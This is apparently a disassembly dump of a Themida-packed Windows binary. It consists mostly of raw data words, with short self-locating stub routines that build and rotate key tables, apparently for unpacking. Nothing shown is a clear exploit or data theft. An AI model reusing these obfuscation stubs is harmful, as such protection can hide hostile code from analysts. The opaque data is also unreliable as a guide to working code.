dd 38300E0Eh, 94349FE6h, 0B37B2222h, 20800803h, 0B03139BCh
dd 0C1BE1DA8h, 9F4CC269h, 106AE4F3h, 0A6D5F000h, 0A27288ACh
dd 356706Bh, 388053BCh, 34E8B87Ch, 0AF03A142h, 4B411E44h
dd 0EB495809h, 4A8DFE00h, 0B3855F2Fh, 0F08EAB26h, 3812D98Ah
dd 99EE8100h, 0BF8CBBh, 7CF4A80h, 0A8377F39h, 0DE407B00h
dd 0E626CE9Dh, 0D4C1C0DAh, 92969E19h, 0F1837D01h, 44334160h
dd 0B14A42ECh, 2EE60CDCh, 2F005B31h, 0D5C70118h, 136F67Fh
dd 2003DC9Bh, 0F3E6D4B8h, 6064293Ch, 0D76CF04Ch, 4EDA0087h
dd 7D7A71E2h, 9A25A34Ah, 0A8886062h, 0B4F9489Bh, 0D2FEB507h
dd 615A1016h, 3CA8AA29h, 8901B4D6h, 3BA07211h, 5F85E4Ch
dd 24357184h, 96581EFh, 88801183h, 0D11C311Ah, 0E739AC0Bh
dd 511CA7D9h, 90624480h, 60354834h, 1FE5BC80h, 0B20B56ADh
dd 0E213BACh, 0F4873050h, 7300483Dh, 0F1AD5C07h, 0FFDB0105h
dd 752E1716h, 2022C9B7h, 0E3A3A10h, 0AA1C1F66h, 0FC24BD56h
dd 0ADA210C7h, 0D851C9h, 0F98B0A6Fh, 0FAC0BF4Ah, 8AB3547Dh
dd 613B0962h, 0EC007748h, 0AD6BA8A7h, 0C4723426h, 0B4307E16h
dd 1FCB4AABh, 801E48E4h
dd 718403F6h, 803B942Ch, 0AB650357h, 0A816BCF9h, 4B69438Ah
dd 51A020AAh, 3EED589h, 869A3B03h, 81920B82h, 0C4340AE4h
dd 50608A44h, 4F6072DFh, 5A45F4C8h, 22B4A0A5h, 5FAD16B0h
dd 263C70CBh, 11E89862h, 59028D7Eh, 0ABC348DDh, 4FC487BBh
dd 6844B9h, 9C88A1D3h, 59E9FFBh, 7F345B02h, 5A075A9Bh
dd 9818987Ch, 601A542Ch, 1FA71E5h, 414F445Dh, 0EC892762h
dd 5B0C4A5Ah, 29D2E99Ah, 0CDFA001Fh, 0DCF549FFh, 573DA98Ch
dd 5D180EB2h, 0BB76E00Fh, 1675568Bh, 115B40EEh, 4B9FDC58h
dd 44DB8Fh, 4BED4300h, 8CEF2F66h, 38D800D7h, 8939C07Eh
dd 930E7AABh, 80F96740h, 21254EEEh, 20AA4C8Fh, 2639F31Eh
dd 22EB8248h, 79101366h, 0D671D1h, 7B3CE7EDh, 48409EE5h
dd 7E21B762h, 2C546099h, 48408B10h, 0EF0F28C0h, 0E73CDFF1h
dd 10AA0F37h, 0A4C0BC16h, 0B4015A58h, 94BE4300h, 0FCA836D0h
dd 952F1700h, 0C30DB61Ch, 99E6480Fh, 7EB38302h, 34619C4Dh
dd 0E4DF1255h, 0F53600D4h, 85FD07B6h, 26053560h, 0CCCE976Bh
dd 0FFFF012Fh, 0B6h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_57C2CA: ; CODE XREF: Themida_:loc_513265j
; DATA XREF: Themida_:loc_513086o
jmp loc_57F81B
; ---------------------------------------------------------------------------
align 10h
dd 0
dd 28000000h, 0B18Bh, 2 dup(0)
dd 0AA000000h, 480129C8h, 0FFB518h, 0Dh dup(0)
dd 9C3FF800h, 6 dup(0)
dd 86000000h, 0A30E1DE5h, 1980h, 7 dup(0)
dd 38000000h, 0EBh, 6 dup(0)
dd 0AA000000h, 129C8h, 94000000h, 7C90EBh, 6 dup(0)
dd 80000000h, 12FEh, 5B000000h, 76F36Ch, 0Fh dup(0)
dd 0E4000000h, 4700B18Eh, 7D4830h, 0
dd 1E000000h, 0DAh, 2 dup(0)
dd 0FC000000h, 0AAF9h, 82000000h, 86B870h, 0D80004D0h
dd 0B136h, 3 dup(0)
dd 28004882h, 1D330h, 0Bh dup(0)
dd 0B0000000h, 1D3FFh, 5 dup(0)
dd 34000000h, 0CC005E90h, 276CB22h, 400h, 2 dup(0)
dd 1000000h, 0
dd 32000000h, 3A8156h, 0
dd 0F3000000h, 0FFh, 0B2h dup(0)
dd 208002h, 0DA000000h, 17C8111h, 90000000h, 76F217h, 7E000000h
dd 7EDBBFh, 5 dup(0)
dd 0A0000000h, 5AC5h, 81000000h, 277C9177h, 2 dup(0)
dd 38000000h, 0E80235h, 4 dup(0)
dd 80000000h, 2, 4 dup(0)
dd 24000000h, 0FFA50Ch, 2 dup(0)
dd 0F000000h, 0B118h, 3 dup(0)
dd 0A400C100h, 3F03EAh, 2 dup(0)
dd 0E8000000h, 0FFFF9Ah, 0
dd 15000000h, 0E1CA68A1h, 0FFA4FDh, 2 dup(0)
dd 0B1000000h, 7A75F81Ah, 9, 4 dup(0)
dd 0F7000000h, 0B41Ch, 24000000h, 46DB56h, 0ED000000h
dd 83CA80h, 4 dup(0)
dd 58000000h, 7C863Fh, 7 dup(0)
dd 0D3000000h, 7485EDh, 0A14F8882h, 5B80h, 1000000h, 3 dup(0)
dd 8F000000h, 1FBD87h, 3 dup(0)
dd 23000000h, 5B00h, 83000000h, 0F76EF0A4h, 7E0D5Dh, 2000000h
dd 4 dup(0)
dd 0E8000000h, 1C000000h, 0FFFF9Fh, 19h dup(0)
dd 65000000h, 0FAA4D4h, 11000000h, 111111h, 0
dd 0D8000000h, 6DE28h, 2 dup(0)
dd 94000000h, 7C90EBh, 2 dup(0)
dd 54000000h, 12FFh, 0A0000000h, 0
dd 40000000h, 7C8026h, 3D000000h, 5802h, 1Ch dup(0)
dd 65000000h, 73FAA4D4h, 57E1h, 0Ch dup(0)
dd 0DF000000h, 0A9C530h, 5077DD00h, 0FDDC00h, 7 dup(0)
dd 43000000h, 0E90057CFh, 0D6h, 29h dup(0)
dd 33000000h, 6017h, 0E0000000h, 5C65h, 2 dup(0)
dd 0C4000000h, 0C20012FFh, 0FFA478h, 2B000000h, 5ED8h
dd 91000000h, 6D4AD1h, 12h dup(0)
dd 0A000000h, 5C005E8Fh, 0B73Fh, 94000000h, 0E97C90EBh
dd 0D6h, 3 dup(0)
dd 2A0h, 0
dd 3E000000h, 5B87h, 18000000h, 0B129h, 48000000h, 0FAD284h
dd 2 dup(0)
dd 32000000h, 0B48Bh, 11h dup(0)
dd 0FC000000h, 4493h, 4 dup(0)
dd 0DF000000h, 5AFE07h, 2 dup(0)
dd 0E2000000h, 4D971F8h, 0FF000000h, 0FFFFFFh, 8 dup(0)
dd 2B000000h, 5ED8h, 6 dup(0)
dd 0ED000000h, 1005FE0h, 2 dup(0)
dd 0F9000000h, 3C7C90DDh, 0FFFF8Bh, 2 dup(0)
dd 1000000h, 0Dh dup(0)
dd 94000000h, 5F00h, 2 dup(0)
dd 0C0000000h, 838213h, 2 dup(0)
dd 94000000h, 7C90EBh, 5 dup(0)
dd 9D000000h, 0FFA2B7h, 7 dup(0)
dd 0C7000000h, 0DD729Dh, 5A000000h, 5F4Dh, 2 dup(0)
dd 0B8000000h, 7 dup(0)
dd 0D1000000h, 7, 0FC000000h, 0A62938E7h, 0D8005C32h, 5FE1h
dd 7 dup(0)
dd 0FF000000h, 5B98h, 0
dd 4010h, 4000000h, 0
dd 0BB000000h, 5F23h, 3 dup(0)
dd 0D0000000h, 0E100B19Fh, 49005E3Fh, 8CC9EBh, 2 dup(0)
dd 0F5000000h, 6Dh, 3 dup(0)
dd 94000000h, 8900003Dh, 4005D4Bh, 5BD5h, 4000h, 8 dup(0)
dd 0C9000000h, 0B464BBh, 0
dd 34000000h, 5B66h, 80000000h, 0ADFFE9h, 6 dup(0)
dd 26F00h, 0B8000000h, 0B7D9D5h, 0
dd 3000000h, 0B1FAh, 0
dd 0DF000000h, 30h, 5 dup(0)
dd 0DB000000h, 25005FFEh, 0B10Ah, 8 dup(0)
dd 0B8000000h, 0
; ---------------------------------------------------------------------------
or eax, eax
jz short loc_57CF4F
retn 18h
; ---------------------------------------------------------------------------
loc_57CF4F: ; CODE XREF: Themida_:0057CF4Aj
mov eax, [esp+0Ch]
push ebx
call $+5
pop ebx
add ebx, 17h
mov [esp+10h], ebx
mov [esp+14h], eax
pop ebx
mov eax, 0B1FA37h
jmp eax
; ---------------------------------------------------------------------------
mov eax, [esp+4]
jmp eax
; ---------------------------------------------------------------------------
align 4
dd 13h dup(0)
dd 8B000000h, 0FF0908h, 28000000h, 41005C54h, 5AF9h, 4 dup(0)
dd 43000000h, 5C03h, 0
dd 50027000h, 5F20h, 9E000000h
; ---------------------------------------------------------------------------
public start
start:
xchg eax, ebx
movsb
inc dword ptr [eax]
; ---------------------------------------------------------------------------
dd 6 dup(0)
dd 74000000h, 0E800016Bh, 7900000Fh, 0D61594h, 8 dup(0)
dd 93000000h, 5CC5h, 4 dup(0)
dd 0FF000000h, 0FFFFFFh, 0
dd 42000000h, 1600B118h, 5B52h, 4 dup(0)
align 10h
dd 5B5Ch, 0
dd 23000000h, 5B00h, 94000000h, 7C90EBh, 7 dup(0)
dd 73000000h, 57E1h, 0AA000000h, 129C8h, 3 dup(0)
dd 0A4000000h, 12FFh, 4 dup(0)
dd 3000000h, 47013750h, 5C95h, 3 dup(0)
dd 0B100h, 5 dup(0)
dd 0E000000h, 0A17C8018h, 5B80h, 0FE000000h, 0DB005D9Eh
dd 37439F3h, 5BE9h, 0
dd 0A4000000h, 0AC0012FFh, 6021h, 7 dup(0)
dd 29000000h, 0F571D3Dh, 0B118h, 0BF000000h, 1B3FFh, 26E00h
dd 0
dd 73000000h, 0FFA1F9h, 2 dup(0)
dd 0B4000000h, 3 dup(0)
dd 0EA000000h, 69005AFBh, 7457E9h, 4 dup(0)
dd 0FF000000h, 6879FDh, 9000000h, 0FFA0C2h, 3 dup(0)
dd 1000000h, 0DF000000h, 0A9C530h, 0
dd 89000000h, 5EDDh, 8 dup(0)
dd 0FC000000h, 40057EFh, 245Fh, 5 dup(0)
dd 5F000000h, 0D3h, 5 dup(0)
dd 0A3000000h, 0CDA680h, 0Ch dup(0)
dd 98000000h, 0FFFFA3h, 0
dd 24000000h, 6Ah, 0F6000000h, 5BDDEAh, 3 dup(0)
dd 1F000000h, 0CB02h, 80000000h, 7C803Bh, 10h dup(0)
dd 77000000h, 0E97C810Ah, 2C0000EDh, 25400h, 0
dd 1B000000h, 5B64h, 3 dup(0)
dd 3C000000h, 0B11Ah, 3F000000h, 5E95h, 8 dup(0)
dd 0AA000000h, 129C8h, 0
dd 0DD000000h, 0E77CDBEBh, 2 dup(0)
dd 1B000000h, 57CCh, 4 dup(0)
dd 8C000000h, 0
dd 0FE7E4100h, 39EF7Dh, 0Dh dup(0)
dd 1B000000h, 3DF1F9h, 0
dd 27000000h, 5AF9h, 3 dup(0)
dd 4D000000h, 0FFFEA3h, 0B0000000h, 8C000000h, 0FFFF95h
dd 3 dup(0)
dd 4000000h, 4 dup(0)
dd 0BE000000h, 0FF4EE7h, 0
dd 7C8000h, 6D000000h, 8700600Ah, 0A8D2h, 0
dd 0AD000000h, 7E41A8h, 0
dd 83000000h, 77DD78h, 3 dup(0)
dd 36000000h, 0FF363636h, 0FFFFFFh, 3 dup(0)
dd 0CE000000h, 200000E9h, 0B18Dh, 4 dup(0)
dd 6C000000h, 14h, 2 dup(0)
dd 0F000000h, 7700B118h, 7C801Dh, 5 dup(0)
dd 47000000h, 107C809Bh, 0C1000027h, 7C80ABh, 2 dup(0)
dd 4000h, 5 dup(0)
dd 36000000h, 0FF9FDDh, 6 dup(0)
dd 0D5000000h, 0A848B125h, 23000000h, 5B00h, 0ED000000h
dd 7276E0h, 5 dup(0)
dd 36000000h, 0AD005F02h, 0B3FCh, 0E8000000h, 0FE8ECCh
dd 0
dd 24000000h, 0BA7C801Ah, 1113000h, 5 dup(0)
dd 0E7000000h, 5 dup(0)
dd 85000000h, 0C654Dh, 8 dup(0)
dd 1B000000h, 6577DFC4h, 0FAA4D4h, 3 dup(0)
dd 0A0000000h, 7C80ADh, 4 dup(0)
dd 0B6000000h, 89005A6Dh, 0FFFFFFh, 46000000h, 5B66h, 4 dup(0)
dd 0DF000000h, 0A9C530h, 0DA000000h, 100A7Eh, 72000000h
dd 5C94h, 2 dup(0)
dd 0B5000000h, 5BE7h, 0
dd 82h, 2 dup(0)
dd 7000000h, 600EDCh, 0
dd 0CF000000h, 7C80B4h, 0
dd 0BC000000h, 225214h, 0Ah dup(0)
dd 90000000h, 39000000h, 7F4F88CDh, 3AD9DFh, 0
dd 0F0000000h, 12FFh, 2 dup(0)
dd 18000000h, 7C90EEh, 94000000h, 997BEBh, 2 dup(0)
dd 6C000000h, 836F14h, 37000000h, 2C9100h, 11h dup(0)
dd 31000000h, 3A3ED7h, 0E0000000h, 5D0Eh, 38000000h, 0AE62BF1Ch
dd 0F374C8h, 3 dup(0)
dd 0B0000000h, 5EB9h, 0E7000000h, 0Ah dup(0)
dd 10000000h, 5C953h, 3 dup(0)
dd 8D7C9000h, 1F3137h, 2 dup(0)
dd 3C000000h, 0FFFF8Bh, 3 dup(0)
dd 34000000h, 5B66h, 12h dup(0)
dd 6A000000h, 8BB81h, 7 dup(0)
dd 18000000h, 417C90EEh, 5E36h, 16h dup(0)
dd 28000000h, 7801D330h, 0B428h, 0C2000000h, 5D4Bh, 0
dd 34000000h, 5B66h, 0Bh dup(0)
dd 94000000h, 3Dh, 94026D00h, 3Dh, 6C000000h, 4003FC2h
dd 9E23A5h, 2 dup(0)
dd 0E4000000h, 9 dup(0)
dd 78000000h, 43D57Bh, 0Ah dup(0)
dd 25400h, 0
dd 0B100h, 5F000000h, 17FC93h, 3 dup(0)
dd 0D7000000h, 0FFA2CFh, 2 dup(0)
dd 0B0000000h, 183FFh, 0
dd 0B0000000h, 153FFh, 19000000h, 0
dd 4000000h, 0Ah dup(0)
dd 0BF000000h, 0F7B38Eh, 0
dd 1000000h, 24000000h, 242424h, 0
dd 46001100h, 5B83h, 2 dup(0)
dd 0C7000000h, 1DD729Dh, 36000000h, 5F02h, 0Bh dup(0)
dd 3E000000h, 5B87h, 3000000h, 0B1FAh, 94000000h, 7C90EBh
dd 43000000h, 49575C3Ah, 574F444Eh, 79735C53h, 6D657473h
dd 415C3233h, 50415644h, 2E323349h, 6C6C64h, 3Ch dup(0)
dd 0AA000000h, 129C8h, 4 dup(0)
dd 44000000h, 321514h, 44000000h, 0B11Ah, 3 dup(0)
dd 0F1000000h, 0F3A16Bh, 7C000000h, 44000059h, 0CE8A4D3Dh
dd 5BE9h, 0
dd 18000000h, 837C90EEh, 0FC05D2E4h, 3 dup(0)
dd 83000000h, 5EB7h, 2 dup(0)
dd 0AA000000h, 129C8h, 0
dd 0CF000000h, 0B1A8h, 2 dup(0)
dd 23000000h, 0D3005B00h, 5EF3h, 5 dup(0)
align 10h
dd 4B76F212h, 3 dup(0)
dd 0E9000000h, 13h, 5 dup(0)
dd 0CE000000h, 0C535FBD1h, 5F27h, 4 dup(0)
dd 90000000h, 0D2005C42h, 3B5E39h, 0Eh dup(0)
dd 94000000h, 7C90EBh, 0
dd 0A4000000h, 12FFh, 3 dup(0)
dd 37000000h, 77DDEEh, 0E8000000h, 14h, 8 dup(0)
dd 8D000000h, 2005A75h, 0F4000000h, 5BF1h, 3 dup(0)
dd 0BC000000h, 40187Eh, 3 dup(0)
dd 0AA000000h, 129C8h, 4 dup(0)
dd 40000000h, 0B11Ah, 4 dup(0)
dd 94000000h, 44000000h, 0C246DAh, 2 dup(0)
dd 3000000h, 0FFA1DAh, 2 dup(0)
dd 28000000h, 0E7001448h, 81FD10E1h, 7C9177h, 3000000h
dd 0B1FAh, 2 dup(0)
dd 54000000h, 12FFh, 0FF000000h, 0FFFFFFh, 3 dup(0)
dd 0F7000000h, 56707F9Fh, 0FED637h, 0
dd 28000000h, 5B67h, 2 dup(0)
dd 0F2000000h, 7C814Ah, 0Ah dup(0)
dd 8A000000h, 32DBE4h, 0
dd 18000000h, 0EC0000EEh, 0B137h, 2 dup(0)
dd 0AC000000h, 94000000h, 347C90EBh, 5B66h, 8 dup(0)
dd 0CE000000h, 0E7BB7068h, 24000000h, 6400B10Eh, 7C802Ch
dd 3 dup(0)
dd 3E000000h, 0B100h, 0CB000000h, 6022h, 2 dup(0)
dd 3E000000h, 0FFF908h, 3 dup(0)
dd 9000000h, 8F8060h, 9 dup(0)
dd 0BF000000h, 0FFA506h, 29h dup(0)
dd 2E000000h, 0DA10F6FDh, 7C81CDh, 0
dd 0CD000000h, 5F2D38h, 0F000000h, 0B73Fh, 0FD000000h
dd 96E3Ch, 5E000000h, 0FA4429h, 3 dup(0)
dd 0CD000000h, 0DE4C669Bh, 7C80ABh, 9 dup(0)
dd 0E5000000h, 0B731h, 0E000000h, 7C8018h, 200h, 0
dd 54000000h, 0DD1ABCh, 0E7000000h, 77DDEBh, 0
dd 0E0000000h, 12FFh, 9 dup(0)
dd 9E000000h, 91E5B6h, 0
dd 17000000h, 0B194h, 6 dup(0)
dd 51000000h, 2900B18Eh, 10449BFh, 0
dd 6C000000h, 6011h, 9 dup(0)
dd 0F000000h, 0B118h, 0B000000h, 7DBF66h, 5 dup(0)
dd 94000000h, 7C9068h, 0
dd 8D000000h, 0FFA81Eh, 7 dup(0)
dd 5E000000h, 0FA4429h, 5 dup(0)
dd 0B9000000h, 15CBC1h, 0E4000000h, 23h, 3 dup(0)
dd 0B5000000h, 77DF13h, 94000000h, 7C90EBh, 5 dup(0)
dd 8000000h, 0BD00B1B5h, 1C7AFAC2h, 7D000008h, 0F100008Dh
dd 74FF4EE7h, 6, 0BA000000h, 0EEDA22h, 0
dd 22000000h, 0C639Eh, 2 dup(0)
dd 94000000h, 8F7C90EBh, 0A1836F04h, 0C000B1AAh, 5EB6h
dd 3 dup(0)
dd 8D00B100h, 0FFA81Eh, 0
dd 26E00h, 75000000h, 5EF5h, 0
dd 23000000h, 5C64h, 1, 7 dup(0)
dd 0E9000000h, 5F03h, 6 dup(0)
dd 5C000000h, 0FF9F78h, 3 dup(0)
dd 54000000h, 12FFh, 6 dup(0)
dd 15000000h, 0FFFFCBh, 0
dd 0F4000000h, 7FAh, 0Eh dup(0)
dd 2000000h, 562B30h, 0
dd 72000000h, 5C94h, 0
dd 0BA00A700h, 0EC113000h, 62FEB3h, 0E9000000h, 7781EDh
dd 0Dh dup(0)
dd 0AD000000h, 0BA7E41A8h, 113000h, 0
dd 0D4000000h, 9A025D6Dh, 1F005AFBh, 57DEh, 24224C00h
dd 0FFA50Ch, 5 dup(0)
dd 0FB000000h, 0BF0057EFh, 573EDDh, 3 dup(0)
dd 0CB000000h, 7865571Fh, 0B691h, 4 dup(0)
dd 0EB000000h, 93000060h, 0B224h, 80000000h, 22A6EBh, 0
dd 0C4000000h, 4 dup(0)
dd 94000000h, 0AC7C90EBh, 0FFED00h, 5 dup(0)
dd 6C000000h, 836F14h, 3 dup(0)
dd 0BC000000h, 3 dup(0)
dd 5B000000h, 0A176B44Eh, 7C80BEh, 0C8000000h, 9C9A05h
dd 0
dd 0F0005110h, 72h, 5 dup(0)
dd 69004882h, 0B71Eh, 97000000h, 0CCh, 3 dup(0)
dd 0BA000000h, 5E113000h, 0FA4429h, 40000000h, 0B11Ah
dd 7 dup(0)
dd 57000000h, 5D50h, 3 dup(0)
dd 0E5000000h, 77DDEDh, 3 dup(0)
dd 68000000h, 836F8Eh, 3 dup(0)
dd 0FD000000h, 0FFA416h, 2 dup(0)
dd 97000000h, 57CCh, 0BF000000h, 573EDFh, 0A4000000h, 6087h
dd 0
dd 2C000000h, 5D4Bh, 0
dd 1000000h, 5000000h, 0A2801h, 3 dup(0)
dd 94000000h, 7C90EBh, 0Fh dup(0)
dd 0D4000000h, 13F3E8A3h, 0E700B702h, 47A7DFh, 0Bh dup(0)
dd 0F6000000h, 5BDDEAh, 2 dup(0)
dd 94000000h, 0F67C90EBh, 7C801Bh, 2 dup(0)
dd 1000000h, 0A0000000h, 6007h, 0
dd 34000000h, 0C2005B66h, 5AFBh, 0Ah dup(0)
dd 94000000h, 0C87C90EBh, 5 dup(0)
dd 16000000h, 5EA12Eh, 0
dd 69000000h, 0CC672681h, 0
dd 74000000h, 865559h, 2 dup(0)
dd 60000000h, 0FFA30Dh, 3 dup(0)
dd 97000000h, 230000CCh, 0A1005B00h, 4400B1AEh, 3C246DAh
dd 0B1FAh, 0
dd 3000000h, 5BE9h, 0
dd 0F1000000h, 0FF4EE7h, 8 dup(0)
dd 29400h, 0E8000000h, 200246h, 2 dup(0)
dd 0C8000000h, 12FEh, 3 dup(0)
dd 1, 2 dup(0)
dd 0FF000000h, 0A9C529h, 2 dup(0)
dd 22000000h, 5B87h, 0
dd 84000000h, 5426D4h, 3 dup(0)
dd 60000000h, 0FFFFFFh, 0D7000000h, 0A8E2C2h, 0
dd 94000000h, 0BF7C90EBh, 0B5E223ECh, 8ACF50h, 0
dd 65000000h, 0FAA4D4h, 6 dup(0)
dd 94000000h, 7C90EBh, 2 dup(0)
dd 38000000h, 5C99h, 0E9000000h, 10B7h, 3 dup(0)
dd 78000000h, 0B62h, 4 dup(0)
dd 0AA000000h, 129C8h, 0Ah dup(0)
dd 94000000h, 7C90EBh, 9 dup(0)
dd 40000000h, 0B8C8h, 0F4000000h, 258447h, 2 dup(0)
dd 20h, 14h dup(0)
dd 0EB000000h, 464934h, 0Bh dup(0)
dd 0CE000000h, 6 dup(0)
dd 0FF000000h, 7FDFFFh, 4 dup(0)
align 8
dd 0FFFFA3h, 0
dd 0C9000000h, 0B464BBh, 3 dup(0)
dd 21000000h, 1BA370h, 0
dd 0D0000000h, 0B10Eh, 2 dup(0)
dd 43000000h, 5F6D5C3Ah, 61706E75h, 72656B63h, 83h dup(0)
dd 74000000h, 2Bh, 0
dd 98000000h, 3000000h, 0FFFFFAh, 3 dup(0)
dd 94000000h, 547C90EBh, 3E0012FFh, 5CEBh, 6 dup(0)
dd 1F000000h, 5B02h, 94000000h, 7C90EBh, 0E7000000h, 11h dup(0)
dd 3000000h, 57C9h, 2 dup(0)
dd 0BA000000h, 0B2113000h, 5C18h, 0
dd 35000000h, 0FFA471h, 19h dup(0)
dd 54004000h, 12FFh, 2 dup(0)
dd 0FA000000h, 427872h, 0EC000000h, 5BE9h, 40000000h, 0B11Ah
dd 51000000h, 0B18Eh, 2 dup(0)
dd 0F0000000h, 9D73CAh, 0
dd 7C000000h, 0FD000000h, 95FF4E05h, 30h, 0
dd 94000000h, 7C90EBh, 0AA000000h, 129C8h, 0
dd 9000000h, 8F8060h, 4 dup(0)
dd 48000000h, 6Bh, 7 dup(0)
dd 4000000h, 2 dup(0)
dd 0CB82h, 2 dup(0)
dd 0F000000h, 1D00B118h, 6009h, 0
dd 54000000h, 12FFh, 2 dup(0)
dd 0F000000h, 0B118h, 2 dup(0)
dd 4D000000h, 2135DC3Ch, 212121h, 0B8000000h, 641EA6D1h
dd 3, 0FA000000h, 0BAF799h, 22000000h, 22222222h, 0CC222222h
dd 0B13Eh, 4 dup(0)
dd 323733h, 4 dup(0)
dd 2130h, 2 dup(0)
dd 54000000h, 696D6568h, 6164h, 1Ch dup(0)
dd 0DD000000h, 5B1685h, 6 dup(0)
dd 9A000000h, 5D1Ah, 8 dup(0)
dd 18000000h, 0B129h, 8 dup(0)
dd 0BB000000h, 5CA5h, 22000000h, 66849Fh, 5 dup(0)
dd 80000000h, 12FEh, 2 dup(0)
dd 70000000h, 3, 0
dd 55000000h, 5BE0h, 9000000h, 7C812Ah, 3 dup(0)
dd 1E000000h, 5ED7h, 4 dup(0)
dd 3000000h, 0DF00B1FAh, 0A9C530h, 0
dd 95000000h, 5CEDh, 0
dd 6C000000h, 836F14h, 0
dd 33000000h, 2 dup(33333333h), 333333h, 3 dup(0)
dd 80000000h, 12FEh, 0F3000000h, 27F9B9h, 0
dd 37000000h, 0B1FAh, 0
dd 34000000h, 204h, 44000000h, 7C90EBh, 4 dup(0)
dd 0AC000000h, 7C802Ch, 2 dup(0)
dd 44000000h, 7C90EBh, 0C0000000h, 5 dup(0)
dd 8F000000h, 836F04h, 4 dup(0)
dd 1000000h, 5D005BC3h, 0E87DC217h, 2C00003Ah, 5806h, 7 dup(0)
dd 10000000h, 81h, 2 dup(0)
dd 0AA000000h, 129C8h, 4 dup(0)
dd 94000000h, 257C90EBh, 0FFA3ACh, 5Fh dup(0)
dd 0E9000000h, 0DA0000D6h, 0E67C81CDh, 2005E93h, 0FB000000h
dd 27F9B9h, 24000000h, 5EA4h, 2Fh dup(0)
dd 0A0000000h, 6007h, 4 dup(0)
dd 0EB000000h, 34h, 0
dd 8C000000h, 7 dup(0)
dd 0AA000000h, 129C8h, 0
dd 0C6000000h, 5CFFh, 8 dup(0)
dd 0A5000000h, 5D1Dh, 4 dup(0)
dd 93000000h, 183EDEh, 0
dd 6000000h, 0A0005C37h, 0CE000000h, 5BE9h, 3 dup(0)
dd 0D4000000h, 25D6Dh, 0
dd 84000000h, 412662h, 2 dup(0)
dd 65000000h, 9300Ah, 0C1000000h, 0B5005A6Dh, 0DA77DF13h
dd 7C8111h, 2 dup(0)
dd 0FF000000h, 6FFFFFFh, 30h, 3 dup(0)
dd 0A0000000h, 5AC5h, 0A0000000h, 5AC5h, 2 dup(0)
dd 0C3000000h, 0FFA7FDh, 4 dup(0)
dd 3000000h, 5BE9h, 0Ch dup(0)
dd 96000000h, 5A005E33h, 0B777DDEEh, 736FB2Dh, 0E8990Dh
dd 0
dd 0E8000000h, 5C86h, 3 dup(0)
dd 0CB000000h, 6022h, 29000000h, 10571D3Dh, 5B87h, 8 dup(0)
dd 44000000h, 0DDAE5Ch, 6 dup(0)
dd 94000000h, 183E82h, 14000000h, 1130h, 52000000h, 61747365h
dd 70417472h, 78652E70h, 65h, 2 dup(0)
dd 20000000h, 0B119h, 0
dd 0B100h, 2 dup(0)
dd 0D2000000h, 62860h, 0F0000000h, 77DD6Bh, 6 dup(0)
dd 0A4000000h, 0E0000000h, 5DACh, 79000000h, 1FDEF53h
dd 4D000000h, 35DC3Ch, 4 dup(0)
dd 0AD000000h, 0A8h, 0
dd 80000000h, 0DED5388h, 0B48Bh, 54000000h, 770012FFh
dd 230057FDh, 5C64h, 10000000h, 76F215h, 0
dd 0B8000000h, 0D7887743h, 15F05Ah, 2 dup(0)
dd 0AA000000h, 129C8h, 86h dup(0)
dd 21000000h, 0
dd 0EC000000h, 57D21Ch, 2 dup(0)
dd 0BF000000h, 573EDDh, 2 dup(0)
dd 1B000000h, 57CCh, 0Ah dup(0)
dd 7A000000h, 0F1E21Ah, 5 dup(0)
dd 3E000000h, 5B87h, 6 dup(0)
dd 0DD000000h, 3Ah, 24000000h, 46DB56h, 5 dup(0)
dd 6C000000h, 836F14h, 4 dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_57F81B: ; CODE XREF: Themida_:loc_57C2CAj
mov eax, ebp
mov edx, esp
pusha
call $+5
pop ebp
sub ebp, 613355Bh
mov [ebp+61308B9h], edx
mov [ebp+6133481h], esi
mov [ebp+61313E5h], eax
cmp dword ptr [ebp+61311CDh], 0
jz short loc_57F853
mov ebp, eax
mov esp, edx
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_57F853: ; CODE XREF: Themida_:0057F845j
mov eax, [esp+24h]
mov [ebp+6133081h], eax
push 45h
call sub_57F907
push 783749Ah
call sub_57F94D
push 0A894B25h
call sub_57F94D
jmp loc_57FA91
; ---------------------------------------------------------------------------
db 45h, 46h, 47h
dd 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h
dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch
dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h
dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h
dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h
dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh
dd 0C3C2C1C0h, 2 dup(0)
db 3 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_57F907 proc near ; CODE XREF: Themida_:0057F85Fp
var_28 = dword ptr -28h
var_24 = dword ptr -24h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFD8h
pusha
call $+5
pop edx
sub edx, 6133649h
mov ebx, edx
mov [ebp+var_28], 0
loc_57F923: ; CODE XREF: sub_57F907+39j
mov eax, [ebp+var_28]
inc eax
mov [ebp+var_28], eax
cmp [ebp+var_28], 80h
jz short loc_57F942
mov eax, [ebp+arg_0]
mov [ebx+61335B3h], eax
inc [ebp+arg_0]
inc ebx
jmp short loc_57F923
; ---------------------------------------------------------------------------
loc_57F942: ; CODE XREF: sub_57F907+2Aj
mov [ebp+var_24], eax
popa
mov eax, [ebp+var_24]
leave
retn 4
sub_57F907 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_57F94D proc near ; CODE XREF: Themida_:0057F869p
; Themida_:0057F873p
var_84 = dword ptr -84h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFF7Ch
pusha
call $+5
pop edx
sub edx, 6133692h
lea eax, [ebp+var_80]
mov ebx, [ebp+arg_0]
mov [ebp+var_84], 0
loc_57F973: ; CODE XREF: sub_57F94D+41j
mov ecx, [ebp+var_84]
rol ebx, 1
mov [eax], bl
inc ecx
mov [ebp+var_84], ecx
cmp [ebp+var_84], 80h
jnz short loc_57F973
mov [ebp+var_84], 0
lea edi, [edx+61335B3h]
lea esi, [ebp+var_80]
loc_57F9A3: ; CODE XREF: sub_57F94D+83j
mov cl, [esi]
mov ebx, 1F4h
mov eax, 785437ABh
